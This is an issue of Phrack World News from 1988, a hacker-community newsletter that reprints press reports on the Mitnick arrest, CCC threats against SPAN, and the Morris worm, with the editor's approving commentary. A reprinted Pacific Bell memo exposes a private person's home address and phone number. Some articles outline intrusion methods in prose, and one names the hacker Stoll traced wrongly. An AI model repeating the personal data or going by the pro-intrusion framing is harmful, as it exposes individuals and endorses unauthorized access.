PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

What Is Wrong With This Issue? Introduction

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There is a distinct difference in this issue of Phrack World News, which may be attributed to the unfortunate final outcome of my self‑enforced exile from the mainstream modem community. In the "prime" days of PWN, many of you may have enjoyed the numerous "bust" stories or the ever suspenseful undercover exposures of security trying to end the hacking community. Those days are over and have been for quite some time.

To put it simply, I do not have the economic resources to legally run around on the nation's bulletin boards or to go and gather information on suspected security agents. Perhaps this is for the better. However, I have a feeling that most people disagree and rather enjoyed those types of stories. Its no longer in my hands. Its obvious that I need help with such a task and that help can only come from you, the community itself.

I am easily reached... I am on Bitnet. Even people who own MCI Mail, GTE Telemail, or Compuserve accounts can send me mail thanks to experimental gateways. People on ARPAnet, Bitnet, or UUCP should have no problems whatsoever. So please go ahead and drop me a line, I would be interested in what you have to say.

:Knight Lightning (C483307@UMCVMB.BITNET)

Much of this issue of Phrack World News comes from Internet news sources such as the Risks, Virus‑L, and Telecom Digests. Some news stories come from other magazines and newspapers, and a few come from Chamas, the online Bitnet bulletin board run by Terra of the Chaos Computer Club (CCC). A very special thanks goes to The Noid of 314 for all his help in putting this issue together.

A couple last things to mention... the upcoming files on hackers abroad have taken a slightly different direction. There will be news on foreign hacker activities presented in PWN (starting this issue), but actual files on the subject will be presented by the hackers themselves so watch for them.

________________________________________

Who Is Clifford Stoll? Pre‑Issue Information

~~~~~~~~~~~~~~~~~~~~~~

This issue of Phrack World News features many stories about the Internet Worm and other hacking incidents on the Internet. One person who plays a prominent role in all of these stories is Clifford Stoll, a virtual unknown prior to these incidents. However, some checking into other related incidents turned up some very interesting information about Cliff Stoll.

Clifford Stoll, age 37 (as of May 2, 1988) was a system's manager at California's Lawrence Berkeley Laboratory. He might still retain this position. Stoll is the master sleuth who tracked down the West German hacker, Mathias Speer, who infiltrated the Internet via the Space Physics Analysis Network (SPAN). The game of "cat and mouse" lasted for 10 months until Clifford Stoll eventually set up an elaborate sting operation using files marked "SDI Network Project" (Star Wars) to get Mathias to stay online long enough to trace him back to Hannover, FRG.

I was able to contact Clifford Stoll at LBL (which maintains a node on Bitnet). However, outside of a confirmation of his presence, I was never able to really converse with him. Recently he has been seen on DOCKMASTER, a node on ARPAnet that is operated by the National Security Agency (NSA). He has also been seen as having accounts on many other nodes all across Internet. Either he has come a long way or was just not as well known prior to the Internet Worm incident.

For more information see;

Time Magazine, May 2, 1988 and/or New Scientist, April 28, 1988

‑‑‑‑‑‑‑‑‑‑‑‑‑

Thought you might be interested to know about it.

:Knight Lightning

________________________________________

Dangerous Hacker Is Captured PWN Special Report

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Last issue, I re‑presented some memos from Pacific Bell Security. The first of which featured "Kevin Hacker," who I now reveal as Kevin Mitnick. The original intent was to protect the anonyimity of the said hacker, but now that he has come upon public fame there is no longer a reason to keep his identity a secret.

The following memo from Pacific Bell Security was originally seen in Phrack World News Issue XXI/1. This version leaves the legitimate information intact.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

On May 14, 1987, Electronic Operations received a court order directing Pacific Bell to place traps on the telephone numbers assigned to a company known as "Santa Cruz Operations." The court order was issued in order to identify the telephone number being used by an individual who was illegally entering Santa Cruz Operations' computer and stealing information.

On May 28, 1987, a telephone number was identified five separate times making illegal entry into Santa Cruz Operations' computer. The originating telephone number was 805‑495‑6191, which is listed to Bonnie Vitello, 1378 E. Hillcrest Drive, Apt. 404, Thousand Oaks, California.

On June 3, 1987, a search warrant was served at 1378 E. Hillcrest Drive, Apt 404, Thousand Oaks, California. The residents of the apartment, who were not at home, were identified as Bonnie Vitello, a programmer for General Telephone, and Kevin Mitnick, a known computer hacker. Found inside the apartment were three computers, numerous floppy disks and a number of General Telephone computer manuals.

Kevin Mitnick was arrested several years ago for hacking Pacific Bell, UCLA and Hughes Aircraft Company computers. Mitnick was a minor at the time of his arrest. Kevin Mitnick was recently arrested for compromising the data base of Santa Cruz Operations.

The floppy disks that were seized pursuant to the search warrant revealed Mitnick's involvment in compromising the Pacific Bell UNIX operation systems and other data bases. The disks documented the following:

o Mitnick's compromise of all Southern California SCC/ESAC computers. On file were the names, log‑ins, passwords, and home telephone numbers for Northern and Southern ESAC employees.

o The dial‑up numbers and circuit identification documents for SCC computers and Data Kits.

o The commands for testing and seizing trunk testing lines and channels.

o The commands and log‑ins for COSMOS wire centers for Northern and Southern California.

o The commands for line monitoring and the seizure of dial tone.

o References to the impersonation of Southern California Security Agents and ESAC employees to obtain information.

o The commands for placing terminating and originating traps.

o The addresses of Pacific Bell locations and the Electronic Door Lock access codes for the following Southern California central offices ELSG12, LSAN06, LSAN12, LSAN15, LSAN23, LSAN56, AVLN11, HLWD01, HWTH01, IGWD01, LOMT11, AND SNPD01.

o Inter‑company Electronic Mail detailing new login/password procedures and safeguards.

o The work sheet of an UNIX encryption reader hacker file. If successful, this program could break into any UNIX system at will.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Ex‑Computer Whiz Kid Held On New Fraud Counts December 16, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Kim Murphy (Los Angeles Times)(Edited For This Presentation)

Kevin Mitnick was 17 when he first cracked Pacific Bell's computer system, secretly channeling his computer through a pay phone to alter telephone bills, penetrate other computers and steal $200,000 worth of data from a San Francisco corporation. A Juvenile Court judge at the time sentenced Mitnick to six months in a youth facility.

After his release, his probation officer found that her phone had been disconnected and the phone company had no record of it. A judge's credit record at TRW Inc. was inexplicably altered. Police computer files on the case were accessed from outside... Mitnick fled to Israel. Upon his return, there were new charges filed in Santa Cruz, accusing Mitnick of stealing software under development by Microport Systems, and federal prosecutors have a judgment showing Mitnick was convicted on the charge. There is, however, no record of the conviction in Sant Cruz's computer files.

On Thursday, Mitnick, now 25, was charged in two new criminal complaints accusing him of causing $4 million damage to a DEC computer, stealing a highly secret computer security system and gaining access to unauthorized MCI long‑distance codes through university computers in Los Angeles, California, and England.

A United States Magistrate took the unusual step of ordering "Mitnic k] held without bail, ruling that when armed with a keyboard he posed a danger to the community.' "This thing is so massive, we're just running around trying to figure out what he did," said the prosecutor, an Assistant United States Attorney. "This person, we believe, is very, very dangerous, and he needs to be detained and kept away from a computer."

Los Angeles Police Department and FBI Investigators say they are only now beginning to put together a picture of Mitnick and his alleged high‑tech escapades. "He's several levels above what you would characterize as a computer hacker," said Detective James K. Black, head of the Los Angeles Police Department's computer crime unit. "He started out with a real driving curiosity for computers that went beyond personal computers... He grew with the technology."

Mitnick is to be arraigned on two counts of computer fraud. The case is believed to be the first in the nation under a federal law that makes it a crime to gain access to an interstate computer network for criminal purposes. Federal prosecutors also obtained a court order restricting Mitnick's telephone calls from jail, fearing he might gain access to a computer over the phone lines.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Dangerous Keyboard Artist December 20, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~

LOS ANGELES (UPI) ‑ In a rare ruling, a convicted computer hacker was ordered held without bail Thursday on new charges that he gained illegal access to secret computer information of Leeds University in England and Digital Equipment Corportation.

Kevin David Mitnick, age 25, of Panorama City, is named in two separate criminal complaints charging him with computer fraud. Assistant United States Attorney, Leon Weidman said it is unusual to seek detention in such cases, but he considers Mitnick 'very very dangerous' and someone who 'needs to be kept away from computers.'

United States Magistrate Venetta Tasnuopulos granted the no‑bail order after Weidman told her that since 1982, Mitnick had also accessed the internal records of the Los Angeles Police Department, TRW Corporation, and Pacific Telephone.

"He could call up and get access to the whole world," Weidman said.

Weidman said Mitnick had served six months in juvenile hall for stealing computer manuals from a Pacific Telephone office in the San Fernando Valley and using a pay phone to destroy $200,000 worth of data in the files of a northern California company.

Mitnick later pentrated the files of TRW Corporation and altered the credit information of several people, including his probation officer, Weidman said.

He said Mitnick also used a ruse to obtain the name of the police detective investigating him for hacking when he was a student at Pierce College. He telephoned the dean at 3 a.m., identified himself as a campus security guard, reported a computer burglary in progress and asked for the name of the detective investigating past episodes, Weidman said.

The prosecutor said Mitnick also gained access to the police department's computer data and has impersonated police officers and judges to gain information.

A complaint issued charges Mitnick with using a computer in suburban Calabases to gain access to Leeds University computer data in England. He also allegedly altered long‑distance phone costs incurred by that activity in order to cover his mischief.

A second complaint charges Mitnick with stealing proprietary Digital Equipment Corporation software valued at more than $1 million and designed to protect the security of its computer data. Mitnick alledgedly stored the stolen data in a University of Southern California computer.

An affidavit filed to support the complaints said unauthorized intrusions into the Digital computer have cost the company more than $4 million in computer downtime, file rebuilding, and lost employee worktime.

A computer operator at Voluntary Plan Assistance in Calabasas, which handles disability claims for private firms, told investigators he allowed his friend unauthorized access to the firm's computer. From that terminal, Mitnick gained access to Digital's facilities in the United States and abroad, the affidavit said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Kevin Mitnick's fate is in the hand's of the court now, but only time will tell what is to happen to this dangerously awesome computer hacker.

________________________________________

Trojan Horse Threat Succeeds February 10, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

During the week prior to February 10, 1988, the Chaos Computer Club of West Berlin announced that they were going to trigger trojan horses they'd previously planted on various computers in the Space Physics Analysis Network (SPAN). Presumably, the reason for triggering the trojan horses was to throw the network into disarray; if so, the threat did, unfortunately, with the help of numerous fifth‑columnists within SPAN, succeeded. Before anybody within SPAN replies by saying something to the effect of "Nonsense, they didn't succeed in triggering any trojan horses." However the THREAT succeeded.

That's right, for the last week SPAN hasn't been functioning very well as a network. All too many of the machines in it have cut off network communications (or at least lost much of their connectivity), specifically in order to avoid the possibility that the trojan horses would be triggered (the fifth‑columnists who were referred above are those system and network managers who were thrown into panic by the threat). This is rather amazing (not to mention appalling) for a number of reasons:

1) By reducing networking activities, SPAN demonstrated that the CCC DOES have the power to disrupt the network (even if there aren't really any trojan horses out there);

2) Since the break‑ins that would have permitted the installation of trojan horses, there have been a VMS release (v4.6) that entails replacement of ALL DEC‑supplied images. Installation of the new version of VMS provided a perfect opportunity to purge one's system of any trojan horses.

3) In addition to giving CCC's claims credibility, SPAN's response to the threat seems a bit foolish since it leaves open the question "What happens if the CCC activates trojan horses without first holding a press conference?"

Hiding from the problem doesn't help in any way, it merely makes SPAN (and NASA) look foolish.

Information Provided By Carl J. Ludick and Frederick M. Korz

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

This is a perfect example of a self‑fulfilling phrophecy. The Chaos Computer Club's announcement that they were going to trigger their Trojan horses in the Space Physics Analysis Network (SPAN) illustrates the potent power of rumor ‑backed by plausibility. They didn't have to do anything. The sky didn't have to fall. Nervous managers did the damage for the CCC because they felt the announcement/threat plausible. The prophecy was fulfilled.

"And the more the power to them!"

:Knight Lightning

________________________________________

TCA Pushes For Privacy On Corporate Networks October 19, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Kathy Chin Leong (Computerworld Magazine)

SAN DIEGO ‑‑ As more and more confidential data winds its way across computer networks, users are expressing alarm over how much of that information is safe from subsidiaries of the Bell operating companies (BOCs) and long‑distance firms providing transmission services.

This fear has prompted the Tele‑Communications Association (TCA) and large network users to appeal to the Federal Communications Commission to clarify exactly what network data is available to these vendors.

Users with large networks, such as banks and insurance companies, are concerned that published details even of where a circuit is routed can be misused. "We don't what someone like AT&T to use our information and then turn around and compete against us," said Leland Fong, a network planner at Visa International in San Francisco. Users are demanding that the FCC establish a set of rules and regulations so that information is not abused.

At issue is the term "customer proprietary network information" (CPNI), which encompasses packet data, address and circuit information and traffic statistics on networks. Under the FCC's Computer Inquiry III rules, long‑distance carriers and Bell operating companies ‑‑‑ specifically, marketing personnel ‑‑can get access to their own customers' CPNI unless users request confidentiality. What his group wants, TCA President Jerry Appleby said, is the FCC to clarify exactly what falls under the category of CPNI.

Fong added that users can be at the mercy of the Bell operating companies and long‑distance vendors if there are no safeguards established. Customer information such as calling patterns can be used by the operating companies for thier own competitive advantage. "At this time, there are no controls over CPNI, and the users need to see some action on this," Fong said.

Spread The Concern

At a meeting here during the TCA show, TCA officials and the association's government liason committee met with AT&T to discuss the issue; the group will also voice its concerns to other vendors.

Appleby said the issue should not be of concern just to network managers but to the entire company. Earlier this month, several banks, including Chase Manhattan Bank and Security Pacific National Bank, and credit card companies met with the FCC to urge it to come up with a standard definition for CPNI, Appleby said.

While the customer information is generally confidential, it is available to the transmission carrier that is supplying the line. The data is also available to marketing departments of that vendor unless a company asks for confidentiality. Fong said that there is no regulation that prevents a company from passing the data along to its subsidiaries.

________________________________________

Belgian Leader's Mail Reportedly Read By Hacker October 22, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from the Los Angeles Times

Brussels (AP) ‑‑ Belgian Prime Minister Wilfried Martens on Friday ordered an investigation into reports that a computer hacker rummaged through his electronic files and those of other Cabinet members.

The newspaper De Standaard reported that a man, using a personal computer, for three months viewed Martens' electronic mail and other items, including classified information about the killing of a British soldier by the Irish Republican Army in Ostend in August.

The newspaper said the man showed one of its reporters this week how he broke into the computer, using Martens' password code of nine letters, ciphers and punctuation marks. "What is more, during the demonstration, he ran into another 'burglar' ... with whom he briefly conversed" via computer, the newspaper said.

________________________________________

Police Find Hacker Who Broke Into 200 Computers October 24, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

London (New York Times) ‑ Police said yesterday that they had found and questioned a 23‑year‑old man who used computer networks to break into more than 200 military, corporate, and university systems in Europe and the United States during the past five years.

The man was asked about an alleged attempt to blackmail a computer manufacturer, but an official for Scotland Yard said that there was not enough evidence to pursue the matter. He was released.

The man, Edward Austin Singh, who is unemployed, reportedly told the police he had been in contact with other computer "hackers" in the United States and West Germany who use communications networks to penetrate the security protecting computers at military installations.

Singh's motive was simply to prove that it was possible to break into the military systems, police said, and apparently he did not attempt espionage.

London police began an investigation after the man approached a computer manufacturer. He allegedly asked the company for $5250 in exchange for telling it how he had entered its computer network.

The company paid nothing, and London police tracked the suspect by monitoring his phone calls after the firm had told Scotland Yard about the incident.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

University of Surrey Hacker November 10, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~

There has been a lot of recent publicity in the U.K. about the arrest of a hacker at the University of Surrey. There were stories about his investigation by Scotland Yard's Serious Crimes Squad and by the U.S. Secret Service, and much dicussion about the inadequacy of the law relating to network hacking. At this date, he has only been charged with offences relating his unathorised (physical) entry to the University buildings.

An interview with the individual, Edward Austin Singh, reveals that his techniques were simply ased on a program which tricked users into unsuspectingly revealing their passwords. "I wrote a program that utilized a flaw that allowed me to call into the dial‑up node. I always did it by phoning, never by the network. The dial‑up node has to have an address as well, so I was calling the address itself. I called the dial‑up node via the network and did it repeatedly until it connected. That happened every 30 seconds. It allowed me to connect the dial‑up node at the same time as a legitimate user at random. I would then emulate the system."

He used to run this program at night, and specialized in breaking into Prime computer systems. "I picked up about 40 passwords and IDs an hour. We were picking up military stuff like that, as well as commercial and academic," he claims. This enabled him to get information from more than 250 systems world‑wide, and (he claims) in touich with an underground hackers network to "access virtually every single computer system which was networked in the US thousands and thousands of them, many of them US Arms manufacturers."

The article states that "Prime Computers have so far declined to comment on his approach to them or his alleged penetration of their computer systems, until the American Secret Service completes its inquiries."

Information Provided By Brian Randell

Phrack World News Issue XXII Part 2

==Phrack Inc.==

Volume Two, Issue 22, File 10 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXII/Part 2 PWN

PWN PWN

PWN Created by Knight Lightning PWN

PWN PWN

PWN Written and Edited by PWN PWN Knight Lightning and Taran King PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Computer Network Disrupted By "Virus" November 3, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Markoff (New York Times)

In an intrusion that raises new questions about the vulnerability of the nation's computers, a nationwide Department of Defense data network has been disrupted since Wednesday night by a rapidly spreading "virus" software program apparently introduced by a computer science student's malicious experiment.

The program reproduced itself through the computer network, making hundreds of copies in each machine it reached, effectively clogging systems linking thousands of military, corporate and university computers around the country and preventing them from doing additional work. The virus is thought not to have destroyed any files.

By late Thursday afternoon computer security experts were calling the virus the largest assault ever on the nation's computers.

"The big issue is that a relatively benign software program can virtually bring our computing community to its knees and keep it there for some time," said Chuck Cole, deputy computer security manager at Lawerence Livermore Laboratory in Livermore, Calif., one of the sites affected by the intrusion. "The cost is going to be staggering."

Clifford Stoll, a computer security expert at Harvard University, added, "There is not one system manager who is not tearing his hair out. It's causing enormous headaches."

The affected computers carry routine communications among military officials, researchers and corporations.

While some sensitive military data are involved, the nation's most sensitive secret information, such as that on the control of nuclear weapons, is thought not to have been touched by the virus.

Computer viruses are so named because they parallel in the computer world the behavior of biological viruses. A virus is a program, or a set of instructions to a computer, that is deliberately planted on a floppy disk meant to be used with the computer or introduced when the computer is communicating over telephone lines or data networks with other computers.

The programs can copy themselves into the computer's master software, or operating system, usually without calling any attention to themselves. From there, the program can be passed to additional computers.

Depending upon the intent of the software's creator, the program might cause a provocative but otherwise harmless message to appear on the computer's screen. Or it could systematically destroy data in the computer's memory.

The virus program was apparently the result of an experiment by a computer science graduate student trying to sneak what he thought was a harmless virus into the Arpanet computer network, which is used by universities, military contractors and the Pentagon, where the software program would remain undetected.

A man who said he was an associate of the student said in a telephone call to The New York Times that the experiment went awry because of a small programming mistake that caused the virus to multiply around the military network hundreds of times faster than had been planned.

The caller, who refused to identify himself or the programmer, said the student realized his error shortly after letting the program loose and that he was now terrified of the consequences.

A spokesman at the Pentagon's Defense Communications Agency, which has set up an emergency center to deal with the problem, said the caller's story was a "plausible explanation of the events."

As the virus spread Wednesday night, computer experts began a huge struggle to eradicate the invader.

A spokesman for the Defense Communications Agency in Washington acknowledged the attack, saying, "A virus has been identified in several host computers attached to the Arpanet and the unclassified portion of the defense data network known as the Milnet."

He said that corrections to the security flaws exploited by the virus are now being developed.

The Arpanet data communications network was established in 1969 and is designed to permit computer researchers to share electronic messages, programs and data such as project information, budget projections and research results.

In 1983 the network was split and the second network, called Milnet, was reserved for higher‑security military communications. But Milnet is thought not to handle the most classified military information, including data related to the control of nuclear weapons.

The Arpanet and Milnet networks are connected to hundreds of civilian networks that link computers around the globe.

There were reports of the virus at hundreds of locations on both coasts, including, on the East Coast, computers at the Massachusetts Institute of Technology, Harvard University, the Naval Research Laboratory in Maryland and the University of Maryland and, on the West Coast, NASA's Ames Research Center in Mountain View, Calif.; Lawrence Livermore Laboratories; Stanford University; SRI International in Menlo Park, Calif.; the University of California's Berkeley and San Diego campuses and the Naval Ocean Systems Command in San Diego.

A spokesman at the Naval Ocean Systems Command said that its computer systems had been attacked Wednesday evening and that the virus had disabled many of the systems by overloading them. He said that computer programs at the facility were still working on the problem more than 19 hours after the original incident.

The unidentified caller said the Arpanet virus was intended simply to "live" secretly in the Arpanet network by slowly copying itself from computer to computer. However, because the designer did not completely understand how the network worked, it quickly copied itself thousands of times from machine to machine.

Computer experts who disassembled the program said that it was written with remarkable skill and that it exploited three security flaws in the Arpanet network. [No. Actually UNIX] The virus' design included a program designed to steal passwords, then masquerade as a legitimate user to copy itself to a remote machine.

Computer security experts said that the episode illustrated the vulnerability of computer systems and that incidents like this could be expected to happen repeatedly if awareness about computer security risks was not heightened.

"This was an accident waiting to happen; we deserved it," said Geoffrey Goodfellow, president of Anterior Technology Inc. and an expert on computer communications.

"We needed something like this to bring us to our senses. We have not been paying much attention to protecting ourselves."

Peter Neumann, a computer security expert at SRI International Inc. in Menlo Park International, said, "Thus far the disasters we have known have been relatively minor. The potential for rather extraordinary destruction is rather substantial."

"In most of the cases we know of, the damage has been immediately evident. But if you contemplate the effects of hidden programs, you could have attacks going on and you might never know it."

________________________________________

Virus Attack November 6, 1988

~~~~~~~~~~~~

>From the Philadelphia Inquirer (Inquirer Wire Services)

ITHACA, N.Y. ‑ A Cornell University graduate student whose father is a top government computer‑security expert is suspected of creating the "virus" that slowed thousands of computers nationwide, school officials said yesterday.

The Ivy League university announced that it was investigating the computer files of 23‑year‑old Robert T. Morris, Jr., as experts across the nation assessed the unauthorized program that was injected Wednesday into a military and university system, closing it for 24 hours. The virus slowed an estimated 6,000 computers by replicating itself and taking up memory space, but it is not believed to have destroyed any data.

M. Stuart Lynn, Cornell vice president for information technologies, said yesterday that Morris' files appeared to contain passwords giving him unauthorized access to computers at Cornell and Stanford Universities.

"We also have discovered that Morris' account contains a list of passwords substantially similar to those found in the virus," he said at a news conference.

Although Morris "had passwords he certainly was not entitled to," Lynn stressed, "we cannot conclude from the existence of those files that he was responsible."

FBI spokesman Lane Betts said the agency was investigating whether any federal laws were violated.

Morris, a first‑year student in a doctoral computer‑science program, has a reputation as an expert computer hacker and is skilled enough to have written the rogue program, Cornell instructor Dexter Kozen said.

When reached at his home yesterday in Arnold, Md., Robert T. Morris, Sr., chief scientist at the National Computer Security Center in Bethesda, Md., would not say where his son was or comment on the case.

The elder Morris has written widely on the security of the Unix operating system, the target of the virus program. He is widely known for writing a program to decipher passwords, which give users access to computers.

________________________________________

New News From Hacker Attack On Philips France, 1987 November 7, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A German TV magazine reported (last week) that the German hackers which attacked, in summer 1987, several computer systems and networks (including NASA, the SPANET, the CERN computers which are labeled "European hacker center," as well as computers of Philips France and Thompson‑Brandt/France) had transferred design and construction plans of the MegaBit chip having been developed in the Philips laboratories. The only information available is that detailed graphics are available to the reporters showing details of the MegaBit design.

Evidently it is very difficult to prosecute this data theft since German law does not apply to France based enterprises. Moreover, the German law may generally not be applicable since its prerequit may not be true that PHILIPS' computer system has "special protection mechanisms." Evidently, the system was only be protected with UID and password, which may not be a sufficient protection (and was not).

Evidently, the attackers had much more knowledge as well as instruments (e.g. sophisticated graphic terminals and plotters, special software) than a "normal hacker" has. Speculations are that these hackers were spions rather than hackers of the Chaos Computer Club (CCC) which was blamed for the attack. Moreover, leading members of CCC one of whom was arrested for the attack, evidently have not enough knowledge to work with such systems.

Information Provided By Klaus Brunnstein, Hamburg, FRG

________________________________________

The Computer Jam: How It Came About November 8, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Markoff (New York Times)

Computer scientists who have studied the rogue program that crashed through many of the nation's computer networks last week say the invader actually represents a new type of helpful software designed for computer networks.

The same class of software could be used to harness computers spread around the world and put them to work simultaneously.

It could also diagnose malfunctions in a network, execute large computations on many machines at once and act as a speedy messenger.

But it is this same capability that caused thousands of computers in universities, military installations and corporate research centers to stall and shut down the Defense Department's Arpanet system when an illicit version of the program began interacting in an unexpected way.

"It is a very powerful tool for solving problems," said John F. Shoch, a computer expert who has studied the programs. "Like most tools it can be misued, and I think we have an example here of someone who misused and abused the tool."

The program, written as a "clever hack" by Robert Tappan Morris, a 23‑year‑old Cornell University computer science graduate student, was originally meant to be harmless. It was supposed to copy itself from computer to computer via Arpanet and merely hide itself in the computers. The purpose? Simply to prove that it could be done.

But by a quirk, the program instead reproduced itself so frequently that the computers on the network quickly became jammed.

Interviews with computer scientists who studied the network shutdown and with friends of Morris have disclosed the manner in which the events unfolded.

The program was introduced last Wednesday evening at a computer in the artificial intelligence laboratory at the Massachusetts Institute of Technology. Morris was seated at his terminal at Cornell in Ithaca, N.Y., but he signed onto the machine at MIT. Both his terminal and the MIT machine were attached to Arpanet, a computer network that connects research centers, universities and military bases.

Using a feature of Arpanet, called Sendmail, to exchange messages among computer users, he inserted his rogue program. It immediately exploited a loophole in Sendmail at several computers on Arpanet.

Typically, Sendmail is used to transfer electronic messages from machine to machine throughout the network, placing the messages in personal files.

However, the programmer who originally wrote Sendmail three years ago had left a secret "backdoor" in the program to make it easier for his work. It permitted any program written in the computer language known as C to be mailed like any other message.

So instead of a program being sent only to someone's personal files, it could also be sent to a computer's internal control programs, which would start the new program. Only a small group of computer experts ‑‑ among them Morris ‑knew of the backdoor.

As they dissected Morris's program later, computer experts found that it elegantly exploited the Sendmail backdoor in several ways, copying itself from computer to computer and tapping two additional security provisions to enter new computers.

The invader first began its journey as a program written in the C language. But it also included two "object" or "binary" files ‑‑ programs that could be run directly on Sun Microsystems machines or Digital Equipment VAX computers without any additional translation, making it even easier to infect a computer.

One of these binary files had the capability of guessing the passwords of users on the newly infected computer. This permits wider dispersion of the rogue program.

To guess the password, the program first read the list of users on the target computer and then systematically tried using their names, permutations of their names or a list of commonly used passwords. When successful in guessing one, the program then signed on to the computer and used the privileges involved to gain access to additonal computers in the Arpanet system.

Morris's program was also written to exploit another loophole. A program on Arpanet called Finger lets users on a remote computer know the last time that a user on another network machine had signed on. Because of a bug, or error, in Finger, Morris was able to use the program as a crowbar to further pry his way through computer security.

The defect in Finger, which was widely known, gives a user access to a computer's central control programs if an excessively long message is sent to Finger. So by sending such a message, Morris's program gained access to these control programs, thus allowing the further spread of the rogue.

The rogue program did other things as well. For example, each copy frequently signaled its location back through the network to a computer at the University of California at Berkeley. A friend of Morris said that this was intended to fool computer researchers into thinking that the rogue had originated at Berkeley.

The program contained another signaling mechanism that became its Achilles' heel and led to its discovery. It would signal a new computer to learn whether it had been invaded. If not, the program would copy itself into that computer.

But Morris reasoned that another expert could defeat his program by sending the correct answering signal back to the rogue. To parry this, Morris programmed his invader so that once every 10 times it sent the query signal it would copy itself into the new machine regardless of the answer.

The choice of 1 in 10 proved disastrous because it was far too frequent. It should have been one in 1,000 or even one in 10,000 for the invader to escape detection.

But because the speed of communications on Arpanet is so fast, Morris's illicit program echoed back and forth through the network in minutes, copying and recopying itself hundreds or thousands of times on each machine, eventually stalling the computers and then jamming the entire network.

After introducing his program Wednesday night, Morris left his terminal for an hour. When he returned, the nationwide jamming of Arpanet was well under way, and he could immediately see the chaos he had started. Within a few hours, it was clear to computer system managers that something was seriously wrong with Arpanet.

By Thursday morning, many knew what had happened, were busy ridding their systems of the invader and were warning colleagues to unhook from the network. They were also modifying Sendmail and making other changes to their internal software to thwart another invader.

The software invader did not threaten all computers in the network. It was aimed only at the Sun and Digital Equipment computers running a version of the Unix operating system written at the University of California at Berkeley. Other Arpanet computers using different operating systems escaped.

These rogue programs have in the past been referred to as worms or, when they are malicious, viruses. Computer science folklore has it that the first worms written were deployed on the Arpanet in the early 1970s.

Researchers tell of a worm called "creeper," whose sole purpose was to copy itself from machine to machine, much the way Morris's program did last week. When it reached each new computer it would display the message: "I'm the creeper. Catch me if you can!"

As legend has it, a second programmer wrote another worm program that was designed to crawl through the Arpanet, killing creepers.

Several years later, computer researchers at the Xerox Corp.'s Palo Alto Research Center developed more advanced worm programs. Shoch and Jon Hupp developed "town crier" worm programs that acted as messengers and "diagnostic" worms that patrolled the network looking for malfunctioning computers.

They even described a "vampire" worm program. It was designed to run very complex programs late at night while the computer's human users slept. When the humans returned in the morning, the vampire program would go to sleep, waiting to return to work the next evening.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Comments from Mark Eichin (SIPB Member & Project Athena "Watchmaker");

The following paragraph from Markoff's article comes from a telephone conversation he had with me at the airport leaving the November 8, 1988 "virus conference":

"But Morris reasoned that another expert could defeat his program by sending the correct answering signal back to the rogue. To parry this, Morris programmed his invader so that once every 10 times it sent the query signal it would copy itself into the new machine regardless of the answer.

The choice of 1 in 10 proved disastrous because it was far too frequent. It should have been one in 1,000 or even one in 10,000 for the invader to escape detection."

However, it is incorrect (I did think Markoff had grasped my comments, perhaps not). The virus design seems to have been to reinfect with a 1 in 15 chance a machine already infected.

The code was BACKWARD, so it reinfected with a *14* in 15 chance. Changing the denominator would have had no effect.

________________________________________

US Is Moving To Restrict Access To Facts About Computer Virus Nov. 11, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Markoff (New York Times)

Government officials are moving to bar wider dissemination of information on techniques used in a rogue software program that jammed more than 6,000 computers in a nationwide computer network last week.

Their action comes amid bitter debate among computer scientists. One group of experts believes wide publication of such information would permit computer network experts to identify problems more quickly and to correct flaws in their systems. But others argue that such information is too potentially explosive to be widely circulated.

Yesterday, officials at the National Computer Security Center, a division of the National Security Agency (NSA), contacted researchers at Purdue University in West Lafayette, Indiana, and asked them to remove information from campus computers describing internal workings of the software program that jammed computers around the nation on November 3, 1988. (A spokesperson) said the agency was concerned because it was not certain that all computer sites had corrected the software problems that permitted the program to invade systems in the first place.

Some computer security experts said they were concerned that techniques developed in the program would be widely exploited by those trying to break into computer systems.

________________________________________

FBI Studies Possible Charges In "Virus" November 12, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From the Los Angeles Times

WASHINGTON ‑‑ FBI Director William S. Sessions on Thursday added two more laws that agents are scrutinizing to determine whether to seek charges against Robert T. Morris Jr. for unleashing a computer "virus" that shut down or slowed computers across the country last week.

